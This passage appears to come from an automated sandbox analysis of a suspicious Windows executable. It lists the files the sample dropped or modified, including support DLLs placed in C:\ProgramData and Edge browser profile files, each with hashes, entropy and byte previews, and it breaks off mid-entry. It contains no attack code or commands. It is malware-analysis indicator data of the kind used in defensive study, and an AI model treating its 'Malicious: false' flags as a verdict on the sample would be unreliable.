Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\13164490-53a6-4b3a-8844-ab2a85302965.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46036
Entropy (8bit):	6.087265941405481
Encrypted:	false
SSDEEP:	768:7MkbJrT8IeQcrQgwagLKKGf4C7KSDYxCFbseC+/Ag+PmOtD1GoppCioL7DRo+yMe:7Mk1rT8HQadKSDYxKAg+PmOtDsIpFoL6
MD5:	7572A16D78D538D75698B10074A95B5C
SHA1:	396613E362F838FCE4F6113DAC3532632168609A
SHA-256:	179C3511ECB9247C1F7AFB1AB94A79174983DAC7C89778F810522B872222D575
SHA-512:	7F8D0844D6847B2F58BE1512A498E17A61C633AB148E786747412B088DCA385D9CDD8D2240BDA426B08E88F790BCED90DB1FFF80F653DC8C402392F12C9B64FA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"0fac97dc-e495-4cae-ac6a-fea94005ea64"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731660937"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3aa38558-c39c-4c46-b65f-088f197f16bb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44707
Entropy (8bit):	6.095091084426341
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k0+KKGf4C7KSDY4D59RAUN7DRo+yM/42cRaLMoskCiG:z/Ps+wsI7ynkKSDY2N7VLyMV/YoskFoz
MD5:	CEA29E03833ADC2C5FD76D04A8C231B0
SHA1:	528F1F78181B0C70DB8D665DF2281EDDCC7A9AD2
SHA-256:	3607DEC6AE7FE67E7BFDC47CFBE11F8D8536C263509CB83C9E990D0AB0C0B015
SHA-512:	E112B98954E39D492798E171CC45F03DE951CCB2C0A23C3806D6A70A0EA3C756074C39C8302485599602B02CBD3F182444358C22431A10ABAF8473E7FAC6A230
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3cd6ff31-3123-440b-a2e3-860264fcce1b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46036
Entropy (8bit):	6.087231273746527
Encrypted:	false
SSDEEP:	768:7MkbJrT8IeQcrQgwngLKKGf4C7KSDY9AFbseC+/Ag+PmOtD1GoppCioL7DRo+yMe:7Mk1rT8HQndKSDY9wAg+PmOtDsIpFoL6
MD5:	C9A46D4C91DB1F23CD2482681ABABC43
SHA1:	CCC8BA03FC4AB2CAC7FE27281CE525C8CCF7FC52
SHA-256:	B40C6E08AF6628F6867C55D4C6B7A9D607A149F89044446F3A154E7E11FB65AA
SHA-512:	343DA5CB237F6E311D252B4C5D04F54370C6872706F69D59790848FCFD5C11B2164414C533DBD66553872D562D0E1EB7A5E5C786B28A4A93E9D79D13106F5FAF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"0fac97dc-e495-4cae-ac6a-fea94005ea64"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731660937"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4e85bfbd-e417-4171-8575-93c0a6cb8393.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44707
Entropy (8bit):	6.095091084426341
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k0+KKGf4C7KSDY4D59RAUN7DRo+yM/42cRaLMoskCiG:z/Ps+wsI7ynkKSDY2N7VLyMV/YoskFoz
MD5:	CEA29E03833ADC2C5FD76D04A8C231B0
SHA1:	528F1F78181B0C70DB8D665DF2281EDDCC7A9AD2
SHA-256:	3607DEC6AE7FE67E7BFDC47CFBE11F8D8536C263509CB83C9E990D0AB0C0B015
SHA-512:	E112B98954E39D492798E171CC45F03DE951CCB2C0A23C3806D6A70A0EA3C756074C39C8302485599602B02CBD3F182444358C22431A10ABAF8473E7FAC6A230
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6cb2df1b-677a-41f1-bc81-d46891d21e1d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45912
Entropy (8bit):	6.087553057671888
Encrypted:	false
SSDEEP:	768:7MkbJrT8IeQcrQgxamLKKGf4C7KSDYaFbseC+/Ag+PmOtD1GoppCioL7DRo+yM/G:7Mk1rT8HRazKSDYSAg+PmOtDsIpFoL7O
MD5:	9F104B8E5B664FD5484E9CA996F5C00D
SHA1:	3A6D577A2DEE06932A71280E880A9049AC37C869
SHA-256:	B717EE16BBABB6B702059600926FF572A863C7B031C33FABA0F11CEE28DF1EA1
SHA-512:	AB191C43FED278B2F3771552C31E4C524A8D786553583931002B6580C401B2B6B86B5B1AB29D79B2CD4612023D95BAE4807FB027B42CE7F07BE2B9E2221D31EF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"0fac97dc-e495-4cae-ac6a-fea94005ea64"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731660937"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6f4b4166-b323-4742-88e3-eb7c09db7bf4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44785
Entropy (8bit):	6.095644413344566
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4x1+KKGf4C7KSDYaFbseC+/N7DRo+yM/42cRaLMoskCH:z/Ps+wsI7yOHKSDYSN7VLyMV/YoskFoz
MD5:	A724C2F6598D649C478A74C122D36AF9
SHA1:	EDACFE8F4376B9080250812C3879C568970740F9
SHA-256:	DC49AA1AB1F0AA9C7CFB4DBF6C2CCD9CA01B7B77A41B6318CFB2326279A5C38E
SHA-512:	B3A5F7E92B43D5047936045E8CA39D1FD12081D610808F8489185AC85CAB8BD89DED6B616EA85DDCE67BD34D26BF1AE01DDD7367B0B56AB16C744C6B99348F48
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9aa8fd3b-c549-422d-8597-267dbff38fd0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45959
Entropy (8bit):	6.087347451262213
Encrypted:	false
SSDEEP:	768:7MkbJrT8IeQcrQgxagLKKGf4C7KSDYaFbseC+/Ag+PmOtD1GoppCioL7DRo+yM/G:7Mk1rT8HRadKSDYSAg+PmOtDsIpFoL7O
MD5:	824A19FD262FA3489628C2A02E8A7262
SHA1:	997689169E8EB723DC48ED776E1D3280ADB92F4E
SHA-256:	D8E33650DBDB11C1AA0D74A494B091D8705D4AE81EAC9E718296AA607A5C49D4
SHA-512:	0024C1848D4F13278FC9499823ACA4F8E9DB1DB68716792E574EDA148AD2882ED57BB3754C81B00987BE0F47A75372B7EAF220C42135699222D46989B69883D4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"0fac97dc-e495-4cae-ac6a-fea94005ea64"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731660937"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\b85b9838-e24b-4c1b-bc54-5ec4d3c121bf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67370C82-9C4.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04759387744221718
Encrypted:	false
SSDEEP:	192:xv+0m5tmTnOAUJY1J/7qiRDs0JVFg8XhDIYhEHsBzh+IhNYv+RQ8TfeHIn8y08TQ:h+0UtsDF6snhj8mveHI08T2RGOD
MD5:	4ED9D64F4B77A92DF0F3D06401E49664
SHA1:	C4651B48E1F34AE5E79FCBD329F09028A114E103
SHA-256:	0B3E53CAA1DBB66A74D1CB85789792617118E6B8307D0F3337096A4BF62EBF33
SHA-512:	E18D0812F8F2A142EDE6FE43DE9EBBB4DC238CDD2649070778184523E11EFF0AB12356C01BF8D0A72C9440D61FCFE250F8764EC1A0E55B53E71F19F47B29001F
Malicious:	false
Preview:	...@..@...@.....C.].....@................k...Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".qudply20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U..G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2......._...... .2..........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67370C82-FE0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4525103533560938
Encrypted:	false
SSDEEP:	6144:acC2rZ56INiDplhS+JaqbYZw7nWvbaHLf:jNiVlhPd
MD5:	643111A386E97CD139C2BC12CAD26771
SHA1:	35B4808CEF11A59BB7FC846B62CD7E53A1D6AF1D
SHA-256:	9930333E627B80B745E3C3FA2B478A803A9851AD38E68A7AA6AD54E368A4EB94
SHA-512:	D02B5A0FBD047AD03D7EF2BAB5D24BD1B272A1C5A94EBDE7B0EE05BC9DCCC69342D4D4D5983E1DF846AF17ED6CCFA169990161ADF5F03997FD2EEF2E2AAC4547
Malicious:	false
Preview:	...@..@...@.....C.].....@...............`...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".qudply20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U?:K...G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.........5...... .2.........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.16517681506792
Encrypted:	false
